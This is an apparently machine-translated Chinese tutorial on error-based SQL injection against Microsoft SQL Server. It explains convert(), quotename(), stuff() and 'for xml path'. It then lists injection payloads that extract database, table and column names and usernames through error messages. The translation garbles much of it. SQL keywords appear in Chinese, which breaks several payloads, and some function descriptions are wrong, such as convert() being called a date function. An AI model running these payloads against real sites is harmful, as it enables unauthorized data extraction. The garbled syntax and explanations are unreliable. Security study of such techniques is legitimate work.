错误注入,顾名思义,首先,这里有一个错误信息。其次,我们需要制造一些人为的错误。例如,使用convert()函数进行类型转换时,如果类型转换失败,就会报错。然后这就是我们要执行的内容。将SQL语句与convert()函数结合起来,例如convert(int,@@version),错误消息中就会包含我们需要的信息。
convert() 函数简介:
定义: Convert() 函数是将日期转换为新数据类型的通用函数。
用法:convert(int,db_name()),表示将第二个参数的值转换为第一个参数的int类型。使用MSSQL时,将类型转换为分解数据库信息时会发生错误。
quotename()函数简介:
定义: quotename()函数默认在要处理的参数两边加上两个方括号,起到分隔符的作用,避免出现sql关键字。异常。 ?
for xml path('') 语句介绍:
定义: 以 xml 格式提供查询返回的结果,返回值相当于字符串。
用法: 通过XML 显示查询到的数据。路径指定xml元素节点(行节点)。该语句可以通过XML显示所有查询到的数据。
stuff()函数介绍:
定义: stuff()函数水平输出表格中各列的内容。
用法: stuff(param1, startIndex, length, param2),删除 param1 中从 startIndex 开始的 length 个字符(SQL 中都是从 1 开始,不是 0),然后用 param2 替换删除的字符。
主数据库包含许多系统表。 sys.databases表存储了SQL Server中所有数据库的库名称; sys.objects表存储SQL Server中所有数据库的表名; sys.columns 该表存储了SQL Server中所有数据表的列名。
1。爆炸数据库
id=1' 且 1=convert(int,(select db_name(0)))--+id=1' and 1=convert(int,(select db_name(1)))--+ //查询第二个数据库,以此类推
连接所有数据库进行显示。
id=1' 和 1=convert(int,stuff((从 sys.databases 中选择 xml 路径的 quotename(name)('')),1,0,''))--+
2.爆炸数据表
id=1' and 1=convert(int,(从 test.sys.objects 中选择前 1 个名称,其中 type='U'))--+id=1' 和 1=convert(int,stuff((从 test.sys.objects 中选择 quotename(name),其中 type='U' for xml 路径('')),1,0,''))-- +
连接所有表格进行显示。
3.爆炸场(这里的方法同上)
id=1' and 1=convert(int,(从 test.sys.columns 中选择前 1 个名称,其中 object_id=object_id('users')))--+id=1' 和 1=convert(int,stuff((从 test.sys.columns 选择 quotename(name),其中 object_id=object_id('users') for xml 路径('')),1,0,'') )--+
4.爆破数据
id=1' and 1=convert(int,(从用户中选择前 1 个用户名))--+
id=1' and 1=convert(int,stuff((从用户中选择 quotename(用户名) 作为 xml 路径('')),1,0,''))--+
关闭错误信息即可